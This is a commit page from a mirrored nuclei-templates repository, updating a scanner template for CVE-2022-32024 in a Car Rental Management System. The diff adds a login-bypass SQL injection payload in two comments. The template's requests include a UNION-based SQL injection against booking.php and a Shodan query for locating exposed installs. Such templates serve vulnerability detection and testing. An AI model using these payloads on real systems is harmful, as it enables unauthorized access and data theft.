daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2022-32024.yaml

patch-1
Prince Chaddha 2022-08-02 14:56:14 +05:30 committed by GitHub
parent 78b146a395
commit 65e373fb1d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
cves/2022/CVE-2022-32024.yaml
View File

@ -12,6 +12,7 @@ info:
metadata: metadata:
verified: true verified: true
shodan-query: http.html:"Car Rental Management System" shodan-query: http.html:"Car Rental Management System"
comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username.
tags: cve,cve2022,carrental,cms,sqli,authenticated tags: cve,cve2022,carrental,cms,sqli,authenticated
variables: variables:
@ -19,17 +20,18 @@ variables:
requests: requests:
- raw: - raw:
# Login bypass possible using a payload: admin'+or+'1'%3D'1' in username.
- | - |
POST /admin/ajax.php?action=login HTTP/1.1 POST /admin/ajax.php?action=login HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}} username={{username}}&password={{password}}
- | - |
GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1 GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
skip-variables-check: true
cookie-reuse: true cookie-reuse: true
matchers-condition: and matchers-condition: and
matchers: matchers: